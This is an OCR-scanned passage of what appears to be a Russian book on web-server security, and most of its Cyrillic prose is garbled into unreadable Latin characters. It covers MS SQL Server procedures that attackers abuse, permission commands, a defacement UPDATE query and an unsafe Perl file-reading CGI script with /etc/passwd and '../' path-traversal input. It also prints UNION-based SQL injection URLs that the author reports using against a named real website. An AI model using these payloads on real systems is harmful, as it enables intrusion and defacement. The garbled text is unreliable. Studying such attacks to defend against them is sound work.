3Ta y4eTHas 3anuch He 3abnokHpoBaHa, TO Xakep CMOXKET C MOMOILBK XPaHUM
npouenyp Haaenutsb ee npasamu aoctyna k CYBJ[ u ucnonb3oBath ans CBOUX Ly
neid. Ho xakepy ewie xenaTenbHO 3HaTh CETeBOe WMA KOMMbOTepa. DTO nerla
CA€aaTh C NOMOLIBIO MTPOUCAYPHI Xp_getnetname.

Ilpoitenypa sp_adduser CYMTAETCA YCTapeBLUEH U OCTABNeHa TOALKO i COBMOOM
THMOCTH CO CTapbiMH MpUNOXKeHHaMH. Ha gaHHbI MOMEHT pekoMeHayeTca HQd
oNb30BaTh NpoUEnypY sp_grantdbaccess, KOTOPOH HYXHO nepeaath caelyide
LK€ rapaMeTpbl:

B wuma nonbioeatens (login), koTopoe 3apeructpuposado B OC Windows NT uny
co3zaaHo B8 MS SQL Server,
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- x
O wums yverHoit 3anucu B CYB]]. Ecau sToT mapamerp He ykasax, To Oyner uc-
MOAL30BAHO UMA U3 MEPBOTO NapaMerpa.

Takum obpa3zom, aobaBneHue rocTeBod y4eTHOH 3aMKUCH € MOMOLIbIO TPOLEAYPHI
sp_grantdbaccess OyAeT BLIMAAETb CACAYIOMWUM 00pa3om:

EXEC sp_grantdbaccess 'notebook\locTb'

Jna ynaneHus nonb3oBaTens WCIOAb3yeTcd Mpouenypa sp_dropuser, KOTOPOH
HY><HO nepenath UMA noab3oBatess CYBJ] (Mbl €ro ykasbiBanu BO BTOPOM fapa-
METpe npolleaypbl sp_adduser, WIH sp_grantdbaccess). B caeaylowueM npumepe
Mb! YIaJ19€M FOCTEBYIO YHETHYIO 3allMCh U3 TeKyuei 6a3nl;

EXEC sp_dropuser 'notebook\guest'

YnpasneHue — 3TO XOpOLUO, HO HYXHO YMETb OIIpele/iuTh, kakie Booble cyie-
CTBYIOT YYETHbIE 3aMMUCH B cUcTeMe. J1na aroro ucnons3yercs XpaHuMas npoueaypa
sp_helpuser. BbinonHuTe ee, U nepen samu nossutcs tabnuua ¢ HHGopmauuek
o nons3osatensax tekyuleit CYBJl. PesyabTHpyrowas tabnuua cocTouT U3 cre-
AYHOLUIUX ToJieH:

UserName — HMA MOAB3CBATENA,
GroupName — Ha3BaHHE POJIH, B KOTOPYIO BXOOAHT NMOJIb30BATEND,
LoginName — HMS, HCMOAb3yeMOe€ 114 BX0Aa HA cepsep;

De fDBName — 6a3a JaHHBIX NO YMOJIYaHHUIO,

Qo o0oaaa

UserID — WISHTHOHKATOP NOb30BaTES;
0 sIDb — nonab30BaTeNbCKUH HAEHTHDUKATOP 6€30MacHOCTH.

lHe meHee onacHoit ana Web-cepsepa U ynaoOHOMH ans xakepa MOXKeT OKa3aTbCs
npouenypa xp_terminate_process, KOTOpas Mo3BoJAseT YHHUYTOXUTh yKazaHHbIMH
1poLiece 10 ero HaeHTHDUKATOPY.

Cnenyroue xpaHuMbie Npoueaypsl no3eonstot paborats ¢ peectpom Windows,
YTO TOXKE A0CTAaTOYHO OMACHO:

[} xp_regenumkeys;

M xp_regenumvalues;
Xp_regread,
Xp_regwrite,

Xp regdeletekey,

B R RS |

xp_regdeletevalue,.

Hee o ckiviivi b, 8 HONATHA 11C HMCI0, 3atem oHu gobamictt n CYBJL,
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Jnst paGoThi C AMCKOM MOXKHO BBIACSIHTH ClIEQYIOLIHE POLEXYPbI:
O xp_availablemedia;

O xp_fileexist;

0O xp_dirtree.

[lepBas W3 3TUX NpouUeRyp BO3BpAlLAET AOCTYIHbIE YCTpoiicTBa, BTOpas onpenens-
€T HaJIM4YKE YKa3aHHOTO (aiina B CHCTEME, a TPeThA MOAY4aeT AEPEBO KaTanoros.

Sl He paccMaTpuBalO Bce 3TH mpouexypbl 6onee noapo6HO TONBLKO IOTOMY, UYTO
aAMUHUCTpaTOpbl 6a3 JAHHBIX, KOTOPbIE YMUTAIOT 3TY KHHUIY, JOJDKHBI 3HATh HX
Ha3HaveHue, a ecii¥ aaMUHUCTpHpoBaHue MS SQL Server He BXOAHT B Bailly KOM-
NeTeHUHIO, TO He3HaHUe ybepexer Bac oT cobiazHa BOCNIONb30BAaTLCA HMH.

Bce paccMmorpexHbie npoueaypbl OODKHbI ObiTh 3anpeweHb! IS BbIMOJHEHUS,
C MpaBaMK Y4YETHON 3ammucH, 1oj koTopoii paboratoT Baiuu cueHapud. M ato aane-
KO He MOAHBIA CMHUCOK, €CTh €lle NPOLEAYPbl CO3MaHUS, YIIPABICHHUA H YAAICHUS
poneii, OT KOTOpbIX 3aBUCAT mpasa goctymna. Ytobbl He OWHOUTLCSA, BbI JOJKHBY,
3alIpeTHThL BCE H pa3peLlTh JOCTYI ABHO TOABKO K TEM, KOTOpLIE HCNOJAb3YyeT Balll
CUeHapHid.

6.2.2. PacnpeneneHune npas gocryna

Ho Bce 3anpetst OyayT GeccMbICAEHHBI, €CJIH MPOCTOMY MOAb30BATENIO pa3pelleH(
BBLITIOJIHEHHE ONEPATOPOB GRANT, REVOKE WM DENY. C MOMOLUBIO 3TUX OTepaTopoOB
MOJXKHO JaBaTh WK CHUMATb NpaBa, a TAKXKe 3amnpeliarh JOCTYyII.

Ans HasHayeHus paspelualol¥X MpaB AOCTYNA UCMOJIb3yeTCs ONepaTop GRANTY
BHJ KOTOpOro 3aBHCHT OT TOrO, Ha 4TO BbiAensAloTca npasa. Eciu Ha onepaTopbly
TO GRANT BbITISIUT cieqytowum obpasom:

GRANT { ALL | statement [ ,...n ] }

TO security_account [ ,...n ]

Onepatopsl SQL, Ha koTOpbie BbI MOXKETE Ha3HA4aTh Npasa 4OCTyNa ANd MoJb30-
BaTenNA:

O CREATE DATABASE,;
(0 CREATE DEFAULT;
0 CREATE FUNCTION;
CREATE PROCEDURE,;
CREATE RULE;

CREATE TABLE;

Qaaoa

CREATE VIEW,
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(0 BACKUP DATABASE,
O BACKUP LOG.

PaccmoTpumM npumep, B KoTOpoM nons3oBarenio ¢ umeHeM Mikhail rigensiores
rpasa Ha co3aaHue Tabnuu ¥ 06bEKTOB NpocMoTpa:

GRANT CREATE TABLE, CREATE VIEW

TO Mikhail

Jns ynpowienus paboTbl ¢ nmpasaMu A0CTyNa MOXHO MCIOAb30BaTh ponu. Jomyc-
THM, YTO Yy HAC €CTb HECATb YYETHBbIX 3anuced Ana pabOTHHKOB OyxrantepHu,
U Bce OHHU obbenuHeHs! B oAHy ponb Buh. Ecnu Bce paboTHUKH posid HyXaaloTcs
B BO3MOXXHOCTH CO3AaHHUA TabiuL, TO MOXKHO Ha3HAYUTh pa3pellleHHEe BCEH ponu:
GRANT CREATE TABLE, CREATE VIEW

TO Buh

Ecnu Hy)XHO pa3peluuTh BBINOAHEHHE BCEX NEPEUUCTEHHDBIX Bbillie ONIEPaTOpPOB, TO
MOXKHO BOCIIO/Ib30BaThCA KJIOYEBbIM CAOBOM ALL. Caeaylowuii mpumep npeno-
cTaBAAET MOMHbIA qoctyn poad Buh:

GRANT ALL
TO Buh

3a Gonee nonuoi uHdopmauHreil coeTyo o6paTHTLCA K (aiiny-cripaske, a TaKke
MOTY NOpeKkOMeHnoBaTh MO0 KHUry "Transact-SQL. B noanuuxuke” [4].

[lpy nobaBneHur npas gocryna Ha oObekTbl HEOOXOOMMO Yyka3zaThb oOfneparop
GRANT, 32 KOTOPbIM MAET [epeyHucaeHue paspeiueHuid Ha o6bekT. [locne wnoyeso-
FO C/0Ba ON nuuieM UMA 00beKTa, a Nocsie TO MUILIEM UMA MOAb30BATENS UAH poO-
nu. B ynpouleHHom BapHaHTe pacrnpenesieHHe npas BbIrIAOUT caeayomuM obpa-
30M:

GRANT paspeweHus

ON oOBeKT

TO nonb3oBaTensb

Hanpumep, cnenymolueii komaunoit Mol paspeiuaem nons3osarento Hacker Brtrion-
HATL OflepaTop SELECT B Tabnule tbPeoples:

GRANT SELECT

ON tbPeoples

TO hacker

Licnu nonab3oBaTento HYKHO NMPeNOCTABUTL BCE NpaBsa Ha 06LeKT, TO 4ToOb! HE ne-
PCHUCNATL UX, MOXXHO HAITUCATh KIHO4YEBOE CIOBO ALL.

GRANT ALL

ON tbPeoples

170 Buh
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Heobxoaumo oTMeTHTb, YTO MO CTAaHZAPTY HAAO MMCaThb ALL PRIVILEGES, HO
Microsoft paspeiunna neHUBBIM NpPOrpaMMHCTaM HE MNUcaTb AJIMHHOE CIOBO
PRIVILEGES. SI, Hanpumep, Bceraa 3abbiBalo, Kak OHO ITHILETCH, o3ToMy 6naro-
hapeH kopriopauud Microsoft. Utak, ecnu cnenosath cTaHmapTy, TO Mbl AODKHBI
ObuTK 6b1 HaNMKMCcaTh 3aMpoc Ha U3MEHEHHE NpUBHAEruii cieayloUM 06pa3oM:

GRANT ALL PRIVILEGES
ON tbPeoples
TO Buh

Jlna 3agaHus 3anpeToB UCMOAL3YETCA ONepaTop DENY, KOTOPbiH Tak XKe HMeeT IBa
BapHaHTa: U1s OnepaTopoB H 06beKkTOB. PaccMOTpUM KaXkabii M3 HUX.

Obwuuii BUA kOMaHAbI DENY /118 OMEPaTOPOB BHINIAAHT ClieAYIOLHM o6pazom:

DENY ( ALL | statement [ ,...n ] }
TO security account [ ,...n ]

Onepatopsl, KOTOpbIE MOIYT MCMOJ/L30BATLCA, T JKE, YTO H Yy GRANT. Hanpumep,
cieAyloUHii 3anpoc ABHO 3anpewaeT nonb3oeatento Hacker cozpasate Tabnauubl
1 o6bexTsl NpocmoTpa:

DENY CREATE TABLE, CREATE VIEW
TO Hacker

Ecnu HyXHO OTMEHHTb BCe NpaBa Ha ONeEpaTopb!, TO MOXHO yKa3aTh KAIOYEBOl
cJioBO ALL. B crienytouiem npumepe OTMEHAIOTCA npasa s Gyxrantepuu:

REVOKE All :
FROM Buh

6.2.3. OnacHble SQL-3anpochl

Haxe He vWMmes MpaB JOCTYyNa K BLIMOAHEHUIO KOMAaHI, 3/IOYMBILUTEHHHK MOXKETy
HaBpeaHTb, Henonb3ys SQL-3anpockl. Kak Mbl yike BHIACHUNH NPH PacCMOTPEHHK
MySQL (¢m. pazo. 5.2), k CYBI moxHo otnpasaate SQL-3anpockl Ha 06HOBIE
Hue ¥ yaanenue. B cnyyae ¢ MS SQL Server Bce paccMoTpeHHOe OCTaeTca B CHIE,
pa3Be 4TO OflepaTOp UPDATE B 3TOM Ciyvae aBiserca Oonee MOLUHLIM ¥ YHHUBEp-
CallbHbIM.

Hanpumep, nedefic MOxKHO COBEPLINHTE U ¢ NOMOLIBIO 3anpocos. Heobxoaumo Tosb-
kO HaiTv Tabnuuy, B KOTOPO#t XpaHATCA AaHHbIE, oToOpaxkaembie Ha raasHoli Web-
cTpaHuue, HanpyuMep, HoBocTH. [Tocne 3Toro ¢ noMoulbIo 3anpoca UPDATE OOHOBISA-
€M HOBOCTH TaK, 4YTOObI MocjaeaHAs U3 HUX (MOXHO W BCe) cojaepXann Heobxonu-
Mblit TekcT. Hanpumep, ecnu HOBOCTH XpaHATCA B TabnHle news, U 3aroN0BOK HOBO-
CTH B KOJIOHKE Title, TO XaKeP MOXET BbINMONHUTL CAEAYIOLLHA 3anpoc:

UPDATE News
SET Title='Hacked by MegaHacker'
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DTO TOXKE U3IMEeHEHUe N1aBHOA Web-cTpaHHuEbl, ¥ ero MOXKHO OTHECTH K aedelidy.

Hau6onee nHTepecHbIMH As Xakepa ABILIOTCA HMeHa Tabnuu., Yrobbl 06HOBNATD
U yoanath AaHHble, He06X0AUMO 3HATh Ha3BaHUA OOBLEKTOB, C KOTOPLIMH BB pabo-
Taete. Jlas atoro ucnonbsyerca Tabavua TABLES W3 INFORMATION_SCHEMA WIH
MPOCTO; INFORMATION_SCHEMA.TABLES. UT06bI momyyuTth Bce WMeHa Tabnuu,
Heo6XOUMO BLIMIOAHUTD 3aMpoC:

SELECT TABLE_NAME
FROM INFORMATION_ SCHEMA.TABLES

Huorna 6biBaer HEOGXOAUMOCTD MOJNYYHUTb HMS TOJIBKO OIHY 3amMCh U3 TaONMHHLL.
JTO Aerko caenatb, OrpaHHU4MB Pe3yabTaT C MOMOLWIBIO omneparopa TOP n, KOTO-
Ppblif CTaBUTCA NOC/E SELECT, A€ n — 3TO KOJIMYECTBO HYXKHBIX ¢Tpok. Hanpumep,
c/ieAyIoLIMii NpUMep BLIOUpaeT nepBbie ABE 3aMUCH;

SELECT TOP 2 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES

Kak MOXXHO MoAYYHTh CleayroLllyro 3anuck? J{a oueHb MpocTo, BbIOpaTh BEPXHIOWD
3aMWCb U3 INFORMATION_SCHEMA.TABLES M OrpaHHUYUTb 3alpoc TaK, YTOOb! W3-
BECTHOE Bam UMA oTcekalock. Hanpumep, Bb yxe 3Haere, YTo B 6a3e AaHHBIX €CTb
Tabnuua Users. Jlng nonyyeHus caeayiowero HMeHH TabauLbl NULLIEM:

SELECT TOP 2 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME<>'Users’'

Koraa “3BecTHO HeCKOJIbKO TabAHL, MOXKHO NEPEHHCITHTD HX C IIOMOLIBIO NOT 1IN,
HarnpuMep, cieaylouum obpasom:

SELECT TOP 2 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN ('Users', 'Passwords', 'Data')

Hdna wnmoctpauud sToro s BepHyics Ha Web-caiit www.classictoday.com.
PaHee Mbl He cMOT/TH yBHIOETb cXemy (scheme — MeTagaHHbie, KOTOPbIE XpaHAT
B cebe cayxebHy0 UHdOpMaUHIO, CTPYKTYPY 6a3bl naHHbIX, TabAHL U T. A.) TONb-
KO notoMmy, 4to oToOpa)kanach TONbKO Mepsasg CTPoKa WHGPOPMALMH, KOTOpYIO
Bo3spalian SQL-3ampoc, nponucaHHbiii B cuUeHapud. BTopas ¥ mocnegyrowmue
CTPOKH, nonyyaemsie B pesynbTaTe BHeapeHUs SQL-3anpoca, He oTo6pakanHcs.
[Ipouno nBa aHs, a owubka Bce ewe 6bina Ha mecte. Ee HUKTO He cobupancs
yb61paTh.

Urobsl SQL-3anpoc, nponucaHHblii B CUeHapHH, He BO3Bpallall HHPOPMALIHH,
% YCTaHOBHMN napameTpy ID 3HaudeHue "9999283". Takoii cTaTbu B Oa3e nAHHBIX HO
oxazasioch. Tenepb Ha 3KpaHe 0TOGpa)kanoch coAepXHUMOE IepBOH CTPOKH MOEI'0
sie/ipedHoro SQL-3anpoca, U 1 yBuaest UMa nepsoi Tabuunubi. [lns Iroro s aarpyui
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cnepyrowmit  URL:  http://www.classicstoday.com/Classics/ConcertReview_
ASPFiles/ViewConcertReview.asp?Action=User &1D=9999283 % 20union %
20all % 20select % 20null, TABLE_NAME,'<h1>This %20 WEB % 20site %
20Hacked</h1>',null,null,null,null,null,null % 20from % 20INFORMATION_
SCHEMA.TABLES.

Urobbl ysupeTre BTOpoe uMA Tabnuuel, s apobGasun ycnosue: "WHERE
TABLE_NAME not in (BMG_members)". To ects s 3anpocun ortobpasuTs
uMMeHa Bcex Tabnuu, kpome n3secTHrIX MHe. Tonubiit URL Tenepb Bbirnsaen cie-
ayromuM  obpazom: http://www.classicstoday.com/Classics/ConcertReview_
ASPFiles/ViewConcertReview.asp?Action=User &D=9999283 % 20union %
20all %20select % 20null, TABLE_NAME,'<h1>This % 20WEB % 20site %
20Hacked</h1>',null,null,null,null,null,null % 20from % 20INFORMATION_
SCHEMA.TABLES %20WHERE %20TABLE_NAME % 20not % 20in %
20('BMG_members').

Pesynbtar MoxHO ysuaers Ha puc. 6.13, Ha KOTOpPOM rnokasaHel ABa OKHa C pe-
3yabTaTaMH 000HMX 3anpocoB.

Th Clossies Todoy.conn s Your Ondine Guige (o Clagvical Moshe - Microsul® lnteriel Explorer

Concent {}?Mﬁﬁfw and f"%fmre&

| : iCan:eanim' i
This WEB site Hacked

Puc. 6.13. [isa okHa ¢ oTobpaxeHnem paaHbix uMeH Tabnuy, koTopbie A NoNy4un
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Teneps, 3Has UMeHa TabauL, HX MOXKHO H3MEHATh WIH MPOCTO YAANATH JaHHbIE.
Ho s He Banpan. SI cHOBa ornpaBun Ha BCe aapeca, KOTOpble HaLleN B pa3jie-
ne Contacts, coobmenue ¢ onucaHvem owubku. Hapetoch, B 3TOT pa3 OHH ee
UCIpaBHIIY.

HeuHeMcs nanbwe, Yro6bl MOMyuMTh HMEHa BCEX KOJIOHOK, HeoOxomumo ofpa-
TUTbCA K Tabnuue COLUMNS M3 INFORMATION_SCHEMA. Hanpumep, craemytomii
3apoC BO3BPATUT UMEHA KONOHOK Tabnuue! Users:

SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users'

6.2.4. PexomeHaauum
no 6esonacHoct MS SQL Server

BesonacHoctb MS SQL Server He aBngerca TeMOit JaHHOH KHUTH, HO pa3 yxK Mbi
paccMaTpuBaem B3NIoM U 6e3omacHocTh Web-cepBepoB, TO pacCMOTPHM HEKOTO-
pbie pekomeHpauuu, seap CYBJI] — cBoeobpasnad yactb Web-cepsepa.

Hna sawntet CYBJI oT xakepoB Bce cueHapUM JOJKHBI BbIIOMHATHCS OT UMEHH
HEMPUBUIEIHPOBAHHOIO MOMb30BaTENAA. IJTOT [ONBL3OBATEAb HOJIKEH OrpaHHYH-
BaTbCA TOJbKO BbIOOPKOH NAaHHBLIX, 2 BCTaBKa U OOHOBICHHE HOMKHLI ObITH A0~
CTYIHbI TOJILKO A TeX Tabauu, rae 31o ACHCTBUTEABHO HYXHO. YleM MHe Hpa-
BuTca MS SQL Server, Tak 310 TeM, YTO OH NpeAoOCTaBNgET O4eHb YAOOHOE cpea-
cTBO ynpasnexus — Enterprise Manager. C ero nomolupto oueHs yno6Ho ynpas-
AATH Y [IPaBaMH.

Mrtak, caMu pekoMeHmauuu. 3ampelaeM BCe, YTO HE HUCMOAb3yercs, AIA 3TOro
BOWIMTE B CBOMCTBA MOJAB30BATEAA, OT UMEHH KOTOpPOro paboTaroT cLCHApHM,
H Ha3HAYbTeE EMY TOJIbKO T€ POH, KOTOpble AEHCTBHUTENBHO HEOOX0AUMBI (pHC. 6.14).

[lo ymon4aHUIO Bce MOAb3OBATENH NMOMeWaKTes B poab public. Hukoraa He uc-
nosib3yiiTe ee, MOTOMY YTO OHA pa3peLlaeT CAMILKOM MHOTO. A €C/liH BCE )Ke HC-
nojb3yeTe, TO OrpaHUYbTe NpaBa ABHO: HaXXMUTe KHONKy Permissions B okue
CBOWMCTB IMOAL3OBATENsA, W Meped BaMH OTKPOETCA OKHO YNMPAaBACHHA HOCTYIOM
Kk o6bekTam (puc. 6.15).

310 OKHO uMeeT Bua Tabnuubl. CTPOKH — 3TO0 06BEKTH 6a3bl AaHHBIX, 3 KOJIOH-
KW — OMepaTopkl, Ha KOTOpble MOXHO YCTAaHAB/IUBATh npasa. Ecnu ayefika Ha ne-
peceueHnr UMeHH o6beKTa W ofepaTopa nycTas, TO IpaBa HA Hee TAKHE XKe, KaK
H Y pony, KOTOPYIO HacieayeT nojb3oBarenb. Utobbel qobasuTh mpaBo TekylieMy
MONbL30BATENIO, LEAKHUTE NO A4eiike ONUH pa3, ¥ B A4eiiKe MOABUTCA 3€JieHas ra-
noyka. Ecnu 3anpetuth (gake ecnd posid paspelleHO), LEAKHUTe BTOpoR pa3’
M 3c/ieHas Faloyka U3MEHHTCA Ha KpPacHbid KPECTHK, O3HAYAIOULHNA 3anperT,
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Category Sal..

A CustordersDetai
Z CustOrdersOr

Puc. 6.15. lNpasa pocryna
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O6a3aTenbHo 3a610KHPYiiTe aAMUHHUCTPATHBHYIO YYETHYIO 3anMch sa, M nyulue
ucmonblyiite asropusaunio Windows. B MS SQL Server ectb nBa suia aBTO-
py3auuu:

O astopusauus Windows — mia noaxmouenus k MS SQL Server ucnonssyerca
yuetHas 3anuch Windows. B MS SQL Server 2000 aTot pexxum npeanonaraer-
cA 110 YMOTYaHHU10, Kak 6osiee 6e3onacHbIi;

0O cMellaHHbIH peXHM — NMOMHMO Y4eTHBbIX 3anucell Windows, MoxeT 6bITh CO3-
AaHa yderHasa sanucb MS SQL Server. Oror pexum ucnonbzosaTh He peko-
MEHIyeTCH.

V kpynsbix CYB]I ectb ewe oana npobneMa. Ouu Gonbiline U UCXOAHBIH KOO HUX
OuY€Hb CNOXKHBIH, a 3HAYUT, MOXKET coaepxaTh oubku. [Touemy moxker? OLUOKH
ecThb Be3ae! B nocneaHee BpeMsa 1 OCTaTOYHO peAKO cablily 06 ownbkax B CYBJ]
oT Microsoft, a BOT coBceM HeoaBHO HecKoibkO pa3 B HMHTepHeTe MoxHO 6bin0
yeabiwaTh 06 ya3BHMOCTAX ee mpaMoro koHkypeHta — Oracle.

['oBopa 06 owubkax, 1 He cobupaloch HUKOrO AHMCKpPEedAWTHpOBaTh. SI Xouy cKa-
3aTh: He 3abbiBaiiTe 0OHOBNATE nporpammel. Jlenalite 3TO CBOEBPEMEHHO, YTOObI
XaKepbl HE MOI/IH BOCIIOAb30BATHCA YA3BUMOCTBIO.

Camoe ciioxxHoe npu moucke ownbok Ha ‘Web-caiitax — BOBpeMA OCTaHOBHTLCS
H He HAmMakocTUThb, Aabbl npoyuuThb BaajenblUes. [Touemy npoyuuTs? Ieno B TOM,
YTO # CerogHs npoiuesacs no HekoTopbiM Web-caiitam, rae s yxe Haxoauna
OoWHOKH paHee, U HEKOTOPbIE U3 HUX TaK U OCTAIMCH HE 3ALMIUEHHBIMH, XOTH
TIPOLLIO yXKE YeTbipe AHA. BUAUMO BiaaenabUbl IPOMrHOPHPOBAIM MOE Npeaynpe-
xaedHue. Haperoch, YTO K BBLIXOAY 3TOH KHUIH OHH BCE XK€ UCIPABAT OIIUOKH, He
A0XWIaACh, NOKA HMH BOCIOJIb3YETCA XaKep.

A caMoe CTpaillHO€, YTO A BbIACHW BO BpEMA HAaNUCAHUA KHHI'H, — HE BCE pearu-
Py!OT Ha MOY MHUCbMA. Sl mpekpacHO MOHUMAKD, YTO OIIMGATBCA MOTYT MHOTHE,
npy 3TOM Brafdenblbl Web-caliTOB 4aCTEHbKO 3KOHOMAT Ha TecTHpoaHud. Ho
HaJ0 ke HUCTpaBNATh CBOH OLUMOKH, KOrAa BaM Ha 3TO yKa3biBaloOT, Sl TO)ke HHOrAa
ownbaloce, HO A peryaspHO NPOBEPAIO MOUTY U CTapaloch ObICTPO pearupoBaTh Ha
mobeie coobuieHna 06 ownbkax. a v TecTHpoBaHUIO CBOUX paboT A yaenasio He
MEHbLIEe BpeMEHM, yeM paspaboTke. Hajaeloch, YTO 3Ta KHHra roMoOXeT BaM MO«
HATb BCIO OMAcHOCTb OWHOOK, W Bbl He Oynere X HTHOPUPOBATh.
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OCHOBHbIe YA3BUMOCTHU
Perl-cueHapueB

Buuto Bpems, koraa Perl 6bin caMbiM pacnpocTpaHeHHbBIM A3bIKOM [IPOrpamMMHUpoO-
BaHHA and Web. MMeHHo Ha HeM nucanach 60nblias 4acTb CUEHAPHEB, a TAKXKe
3KCITIOUTOB. ECAM xakep HaXOAWN yA3BUMOCTb, TO, HCMOAb3Yys €€, OH 3aKa4HBaJl
Ha Web-cepBep 3KCIUTONT, KOTOPbIH HCNONE30BaN 1Al TIORHATHA CBOMX TPUBUIIErHHA.
HM3-3a 3TOrO0 MHOrHe aagMHHMCTPATOpbl CTANM OTKa3biBaThCA OT HCIIOIb30BAHHA
untepnpetaTopa Perl B csoux cucremax.

Ceiivac Perl Tepser csow nomyaspHocTb. HecMoTps Ha To, 4TO elle HECKOJIBKO
neT Ha3aa OH MCIIONL3OBAICA TIOBCEMECTHO, B HAcTOALLEE BpPeMsA pa3paboTuukH
Web-caiiToB oTaaloT npengmnouterde TakuM a3bikam, kak PHP, ASP u Java. Umen-
HO 3TH TPH KuTa OyayT npaBuTh MUpOM B Oanxaiiuee Bpema, Ho Perl cOpacwiBaTh
CO CHETOB Nnoka paHo. CLueHapHH Ha HEM €Lle MOXKHO BCTPETUTDb, XOTA UX KOJNIHYe-
CTBO MOCTOAHHO CHHXKAETCA.

Ha moii B3rnaa, npobaema 3aech CBA3aHA CO CAOKHOCTBIO A3bIKA Y B HEKOTOPBIX
ciy4asx cepbe3HbiMH HeyaoOcTsamu. Jleno B Tom, uto Perl ne cosmaBsanca phs
nporpaMmupoBanua moa Web, a 6bi1 ananTHpoBaH ang 3Tux uened. BosMoxHo,
HMEHHO MOITOMY OH TEPSAET MOMYAAPHOCTb, U €r0 BBITECHAIOT A3bIKH, KOTOpbIE
cO37jaBaJIUCh UMEHHO A Web-nporpaMMHUpOBaHUA.

Ewe cienyeT yuecThb, YTO 4eM CNOXHEE A3bIK, TEM MpOoLe NAPOrpaMMUCTY AOMyC-
TUTb OWHOKY. Ila, UMeHHO Tak. Koraa A3bik MpOCTOH, NPOrpaMMHUCT MPEKPacHO
IIOHUMAET KaKR0€e CBOE NEUCTBHE.

1o Bce 3TO TOJABKO MOH MbICAH, KOTOpbIE MOTIYT PacXOAHTbCA C PealbHOCTBIO,
O 6yayuieM nioboro g3bika MporpaMMHUpOBaHWA NPEANnoAaraTb TPYAHO, KAK roBo-
puTCcH, BCE PAcCyqUT BPEMS.
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7.1. PaboTa ¢ ¢hannoBon cucteMomn

Kak 1 B mobom apyrom s3sike, pabota c daiinosoii cucteMoil ¢ MoMowWbIO PyHK-
unii Perl nmpencraenser ompeneneHHylo yrposy 6e30macHOCTH, 0COOEHHO ecnH
MOJIb30BATENb MOXET NIOBIHATL Ha UMA ¢ailna, k koropomy uaet obpauleHue. da-
BaiiTe pacCCMOTPUM NpUMep U3 iucTuHra 7.1.

PP

#!/usr/bin/perl -w
use CGI gw(:standaxd);

print "Content-type: text/html\n\n";

print "<H4>Test form</H4>";

print '<form action="http://server/cgi-bin/test.cgi® method="get">"';
print '<input name="file" size="15">';

print '<input type="submit" value="Submit">';

print '</form>';

$file = param('file’');
{
print ("<h4>File: S$file</h4>");
open(F, $file):
while (<F>)
{
print;
}
close(F);
}

H3BHHAIOCH, €CNM KOO HE OY€Hb KPacHBLIi W, MOXeT ObiTh, HAPYILAET KakKHe-TQ
NPUHUMNBLI TIpOrpaMMUpoBaHns Ha Perl — g oueHb 10610 BLIKCKUBATL YIKHO,
outnbKH, HO ANA CBOUX paboT HCNOML3YIO APYTHe A3bIKH NPOrpaMMHPOBaHHUA.

CoxpaHHuTe colepkMMOe 3TOTrO AKCTHHIA B (paitne test.cgi, 3arpy3ure Ha Web-ceppep,
B AupexTopuio cgi-bin 4 3anmycrure ero. [lo ymonuanuio ans Perl-cuenapues
cO3/1aeTCA OTAENbHAS OUPEKTOpys, koTopas oObI4HO uMeeT uMs cgi-bin. Yrober daitn
BbINOAHANCS, eMy HeoOx0aHMO Ha3HauUTL npaBa goctyna 755. Tenepb, 4Tobbl 3aryQe
THTh (aitn, ucnonsdyem caeayiowuii URL: http://servername/cgi-bin/test.cgi. I'ne
servername — 3To uma Baililero Web-cepaepa.
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Ha moem nomainHeM koMrmbioTepe, rae s ycraHoBun Web-cepeep Ha Gaze'OC
Linux, He ycranosneH Perl, T. k. 3TUM S3bIKOM NpPOrpaMMHpPOBaHUA i MONB3YIOCH
peaxko. [ToaroMy s TecTHpOBaHWA MPUMEPOB M3 ITOH rNIABLI 1 MCIONB3OBAN
IJIoWAaaKy XOCTHHIOBOH KOMMaHUK, rae pacnosioxked Mol Web-calit. HecTHo cka-
3aTh, BO BPEMA HCC/ECNOBAHHSA A MpHLIEN K O4eHb LIOKHPYIOLHM BBIBOAAM, HO 06
3TOM MYTb MO3XKe.

Hrak, nocne 3arpy3ku ¢opmel nepes HaMU OTKpbIB&ETCA IONiEe ANS BBOAA UMEHH
¢aiina U kHomka ANA ornpasky AaHHbIX Web-cepeepy. KoneuHo, 3ToT cueHapnit
CHJILHO YNPOLUEH U B peasibHOCTH Bbl TAKOTO HE BCTPETHUTE, OOLIMHO UMsA (¢aiina
1oTy4aloT KakuM-nubo Apyrum obpazom. Hanpumep, oo MoxeT 6bITh POMMCAHO
B Buae napaMerpa B HTML-kone Web-cTpaHuubi, HO Beib MbiI 3Ha€M, YTO 3TO
Talke He GesomnacHo W Xakep Moxer BbizBaTh URL Hampamyio, yepes aapechyio
CTpoKy Opay3epa, H H3IMEHHTbL napaMeTp. Sl XKe ANd mPOCTOTHI WIMOCTPALUH HC-
nonb3yio GopMy BBOAA.

HUrak, ecnu uMa Qaiina nonb3osatenb yKaXeT KOPPEKTHO, KaK 3aJyMbiBan Ipo-
rpaMMHCT, TO cLeHapHii 6yner paboraTh MpaBHJILHO W HUKAKUX MpobneM TyT He
Bo3HUKHeT. Ho xakepbl HHKOrAa He paGoTaioT, kak 406pONOpANOUHbIE NOAL3OBA-
tead, OHU Mo6AT UrpaTh C mapaMeTpaMH H B JaHHOM Cy4ae, y)Ke [0 €ro HMeHH,
nepefasaemomy Web-cepsepy (file), MoxHO pmoragarbca, uTO MaeT obpaluexde
K ¢aiinoBoii cucteme.

A 4TO ecid nepenarb B KauecTBe UMeHM ¢aiina /etc/passwd? KoHeuHo ke, Mol
yBHIUM (¢aiin, coaepiKauMii CIMCOK MOoNb30BaTeAed U HX OCHOBHbBIE KOH(DUrypa-
UHOHHBbIE NaHHbie. TO )K€ camoe MPOUCXOAUNO H npu obpallieHHH k ¢aiinaM U3
PHP-cuenapues. Ilpu obpameHdd k ¢ainam Bbl MOXKETE TaKKe WCIOAb3OBATH
cuMBonbl “../" nna Toro, yTo6bl MOAHATHCA HA YPOBEHb BbIILE, H HYAEBOI CHMBOJI
"%00", 4ToObl OTOPOCUTBL TEKCTOBYIO 4acThb, KOTOpas AoGaBniercs mporpamMMHO.
Hanpumep, eciiv B xauyecTse napamerpa fiepeAaercs TOAbKO MMA, a pacluMpeHHe
